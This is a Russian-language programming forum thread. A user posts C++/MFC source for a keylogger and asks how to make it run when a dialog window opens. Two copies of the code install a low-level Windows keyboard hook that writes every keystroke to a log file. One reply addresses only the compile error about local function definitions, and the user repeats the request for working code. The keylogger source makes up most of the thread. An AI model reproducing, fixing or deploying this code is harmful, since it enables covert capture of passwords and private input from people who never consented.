Форум программистов, компьютерный форум CyberForum.ru

Local Function definitions are illegal - C++

Восстановить пароль Регистрация
 
Виктор
0 / 0 / 0
Регистрация: 28.04.2014
Сообщений: 2
28.04.2014, 14:44     Local Function definitions are illegal #1
Прошу помощи специалистов. Есть некоторая функция кейлогера, которую нужно запустить при открытии диалогового окна MFC. При компиляции проекта выдает следующую ошибку
Compiling...
700Dlg.cpp
E:\CPP\700\700Dlg.cpp(65) : error C2601: 'KeyEvent' : local function definitions are illegal
E:\CPP\700\700Dlg.cpp(106) : error C2601: 'MsgLoop' : local function definitions are illegal
E:\CPP\700\700Dlg.cpp(115) : error C2601: 'KeyLogger' : local function definitions are illegal
E:\CPP\700\700Dlg.cpp(142) : error C2601: 'main' : local function definitions are illegal
Error executing cl.exe.

700.exe - 4 error(s), 0 warning(s)


Вот исходник самого DlgCpp


C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
#include "stdafx.h"
 
#define _WIN32_WINNT 0x0400
#include "700.h"
#include "700Dlg.h"
    #include <windows.h> 
    #include <winuser.h> 
    #include <stdio.h>
#include <afxdllx.h>
 
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
 
 
HHOOK hKeyHook;
 
  
 
CMy700Dlg::CMy700Dlg(CWnd* pParent /*=NULL*/)
    : CDialog(CMy700Dlg::IDD, pParent)
{
     
    m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
}
 
void CMy700Dlg::DoDataExchange(CDataExchange* pDX)
{
    CDialog::DoDataExchange(pDX);
     
}
 
BEGIN_MESSAGE_MAP(CMy700Dlg, CDialog)
 
    ON_WM_PAINT()
    ON_WM_QUERYDRAGICON()
    ON_BN_CLICKED(IDC_BUTTON1, OnButton1)
 
END_MESSAGE_MAP()
 
 
 
 
BOOL CMy700Dlg::OnInitDialog()
{
    CDialog::OnInitDialog();
 
 
    SetIcon(m_hIcon, TRUE);           
    SetIcon(m_hIcon, FALSE);       
     
 
 
    // TODO: Add extra initialization here
 
///////////////////////////////////////////////////// НАЧАЛО ПРОЦЕДУРЫ КЕЙЛОГЕРА 
 __declspec(dllexport) LRESULT CALLBACK KeyEvent ( 
       
      int nCode,     
      WPARAM wParam,
      LPARAM lParam 
       
    ) { 
        if  ((nCode == HC_ACTION) &&    
            ((wParam == WM_SYSKEYDOWN) ||
            (wParam == WM_KEYDOWN)))
        { 
       
   
            KBDLLHOOKSTRUCT hooked = 
                *((KBDLLHOOKSTRUCT*)lParam); 
       
         
            DWORD dwMsg = 1; 
            dwMsg += hooked.scanCode << 16; 
            dwMsg += hooked.flags << 24; 
       
       
            char lpszName[0x100] = {0}; 
            lpszName[0] = '['; 
       
            int i = GetKeyNameText(dwMsg, 
                (lpszName+1),0xFF) + 1; 
       
            lpszName[i] = ']';
      
        
            FILE *file; 
            file=fopen("keys.log","a+"); 
            fputs(lpszName,file); 
            fflush(file); 
        } 
       
         
        return CallNextHookEx(hKeyHook, 
            nCode,wParam,lParam); 
       
    } 
 
 
 
void MsgLoop() 
    { 
        MSG message; 
        while (GetMessage(&message,NULL,0,0)) { 
            TranslateMessage( &message ); 
            DispatchMessage( &message ); 
        } 
    } 
 
 DWORD WINAPI KeyLogger(LPVOID lpParameter) 
    { 
       
    
        HINSTANCE hExe = GetModuleHandle(NULL); 
        if (!hExe) hExe = LoadLibrary((LPCSTR) lpParameter); 
       
      
        if (!hExe) return 1; 
       
       
       
        hKeyHook = SetWindowsHookEx (
       
            WH_KEYBOARD_LL,
            (HOOKPROC) KeyEvent,
            hExe,
            NULL
        ); 
       
 
       
        MsgLoop(); 
        UnhookWindowsHookEx(hKeyHook); 
        return 0; 
    } 
 
 int main(int argc, char** argv) 
    { 
        HANDLE hThread; 
        DWORD dwThread; 
  
       
        hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE) 
            KeyLogger, (LPVOID) argv[0], NULL, &dwThread); 
       
        if (hThread) { 
            return WaitForSingleObject(hThread,INFINITE); 
        } else { 
            return 1; 
        } 
    }
 ////////////////////////////////////////////////////// КОНЕЦ ПРОЦЕДУРЫ КЕЙЛОГЕРА 
     
    return TRUE; 
}
 
 
 
void CMy700Dlg::OnPaint()
{
    if (IsIconic())
    {
        CPaintDC dc(this);
 
        SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);
 
     
        int cxIcon = GetSystemMetrics(SM_CXICON);
        int cyIcon = GetSystemMetrics(SM_CYICON);
        CRect rect;
        GetClientRect(&rect);
        int x = (rect.Width() - cxIcon + 1) / 2;
        int y = (rect.Height() - cyIcon + 1) / 2;
 
         
        dc.DrawIcon(x, y, m_hIcon);
    }
    else
    {
        CDialog::OnPaint();
    }
}
 
 
HCURSOR CMy700Dlg::OnQueryDragIcon()
{
    return (HCURSOR) m_hIcon;
}

Также я попытался переместить тело кейлогера из InitDialog в самый конец срр файла, при этом ошибок компиляции уже нет, диалоговое окно запускается но сам кейлогер никаких действий не выполняет.

Очень прошу помощи ребята, помогите откорректировать исходник чтобы привести его в рабочее состояние.
Similar
Эксперт
41792 / 34177 / 6122
Регистрация: 12.04.2006
Сообщений: 57,940
28.04.2014, 14:44     Local Function definitions are illegal
Посмотрите здесь:

C++ C:\Dev-Cpp\lib\vector.h `ostream' is neither function nor member function; cannot be declared friend
error C2601: 'main' : local function definitions are illegal fatal error C1004: unexpected end of file found C++
Illegal use of floating point C++
C++ Ошибка: Illegal use of floating point
C++ Illegal use of floating point
Ошибка кода Visual c++ 6.0 'SearchFiles': local function definitions are illegal C++
C++ E2214 Cannot have a non-inline function in a local class
Много ошибок illegal use of floating point C++

Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
После регистрации реклама в сообщениях будет скрыта и будут доступны все возможности форума.
Меорн
74 / 59 / 29
Регистрация: 01.02.2014
Сообщений: 201
28.04.2014, 15:04     Local Function definitions are illegal #2
написано же что нельзя объявлять функции в теле других функций. вынеси наружу.

Добавлено через 1 минуту
хотя может просто забыл поставить } после
C++
1
2
    SetIcon(m_hIcon, TRUE);           
    SetIcon(m_hIcon, FALSE);
Виктор
0 / 0 / 0
Регистрация: 28.04.2014
Сообщений: 2
28.04.2014, 16:18  [ТС]     Local Function definitions are illegal #3
Скобки стоят.

Не пойму как запустить саму функцию кейлогера. Вот если тело кейлогера пихаю в консольное приложение, тогда все работает, а в диалоговом окне MFC никак. Уже весь интернет облазил, третий день голову ломаю. Помогите, кто сможет.

Вот вынес код наружу, диалоговое окно запускается, ошибок нет, а функция кейлогера не работает. Такое ощущение, что код как бы не задействован вообще.


C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
#include "stdafx.h"
 
#define _WIN32_WINNT 0x0400
#include "700.h"
#include "700Dlg.h"
    #include <windows.h> 
    #include <winuser.h> 
    #include <stdio.h>
#include <afxdllx.h>
 
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
 
 
HHOOK hKeyHook;
 
  
 
CMy700Dlg::CMy700Dlg(CWnd* pParent /*=NULL*/)
    : CDialog(CMy700Dlg::IDD, pParent)
{
     
    m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
}
 
void CMy700Dlg::DoDataExchange(CDataExchange* pDX)
{
    CDialog::DoDataExchange(pDX);
     
}
 
BEGIN_MESSAGE_MAP(CMy700Dlg, CDialog)
 
    ON_WM_PAINT()
    ON_WM_QUERYDRAGICON()
    ON_BN_CLICKED(IDC_BUTTON1, OnButton1)
 
END_MESSAGE_MAP()
 
 
 
 
BOOL CMy700Dlg::OnInitDialog()
{
    CDialog::OnInitDialog();
 
 
    SetIcon(m_hIcon, TRUE);           
    SetIcon(m_hIcon, FALSE);       
     
  
    // TODO: Add extra initialization here
      
    return TRUE; 
}
 
 
 
void CMy700Dlg::OnPaint()
{
    if (IsIconic())
    {
        CPaintDC dc(this);
 
        SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);
 
     
        int cxIcon = GetSystemMetrics(SM_CXICON);
        int cyIcon = GetSystemMetrics(SM_CYICON);
        CRect rect;
        GetClientRect(&rect);
        int x = (rect.Width() - cxIcon + 1) / 2;
        int y = (rect.Height() - cyIcon + 1) / 2;
 
         
        dc.DrawIcon(x, y, m_hIcon);
    }
    else
    {
        CDialog::OnPaint();
    }
}
 
 
HCURSOR CMy700Dlg::OnQueryDragIcon()
{
    return (HCURSOR) m_hIcon;
}
 
 
 
///////////////////////////////////////////////////// НАЧАЛО ПРОЦЕДУРЫ КЕЙЛОГЕРА 
 __declspec(dllexport) LRESULT CALLBACK KeyEvent ( 
       
      int nCode,     
      WPARAM wParam,
      LPARAM lParam 
       
    ) { 
        if  ((nCode == HC_ACTION) &&    
            ((wParam == WM_SYSKEYDOWN) ||
            (wParam == WM_KEYDOWN)))
        { 
       
   
            KBDLLHOOKSTRUCT hooked = 
                *((KBDLLHOOKSTRUCT*)lParam); 
       
         
            DWORD dwMsg = 1; 
            dwMsg += hooked.scanCode << 16; 
            dwMsg += hooked.flags << 24; 
       
       
            char lpszName[0x100] = {0}; 
            lpszName[0] = '['; 
       
            int i = GetKeyNameText(dwMsg, 
                (lpszName+1),0xFF) + 1; 
       
            lpszName[i] = ']';
      
        
            FILE *file; 
            file=fopen("keys.log","a+"); 
            fputs(lpszName,file); 
            fflush(file); 
        } 
       
         
        return CallNextHookEx(hKeyHook, 
            nCode,wParam,lParam); 
       
    } 
 
 
 
void MsgLoop() 
    { 
        MSG message; 
        while (GetMessage(&message,NULL,0,0)) { 
            TranslateMessage( &message ); 
            DispatchMessage( &message ); 
        } 
    } 
 
 DWORD WINAPI KeyLogger(LPVOID lpParameter) 
    { 
       
    
        HINSTANCE hExe = GetModuleHandle(NULL); 
        if (!hExe) hExe = LoadLibrary((LPCSTR) lpParameter); 
       
      
        if (!hExe) return 1; 
       
       
       
        hKeyHook = SetWindowsHookEx (
       
            WH_KEYBOARD_LL,
            (HOOKPROC) KeyEvent,
            hExe,
            NULL
        ); 
       
 
       
        MsgLoop(); 
        UnhookWindowsHookEx(hKeyHook); 
        return 0; 
    } 
 
 int main(int argc, char** argv) 
    { 
        HANDLE hThread; 
        DWORD dwThread; 
  
       
        hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE) 
            KeyLogger, (LPVOID) argv[0], NULL, &dwThread); 
       
        if (hThread) { 
            return WaitForSingleObject(hThread,INFINITE); 
        } else { 
            return 1; 
        } 
    }
 ////////////////////////////////////////////////////// КОНЕЦ ПРОЦЕДУРЫ КЕЙЛОГЕРА
Добавлено через 1 час 8 минут
Неужели никто не сможет помочь ??
Yandex
Объявления
28.04.2014, 16:18     Local Function definitions are illegal
Ответ Создать тему
Опции темы

Текущее время: 04:28. Часовой пояс GMT +3.
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2016, vBulletin Solutions, Inc.
Рейтинг@Mail.ru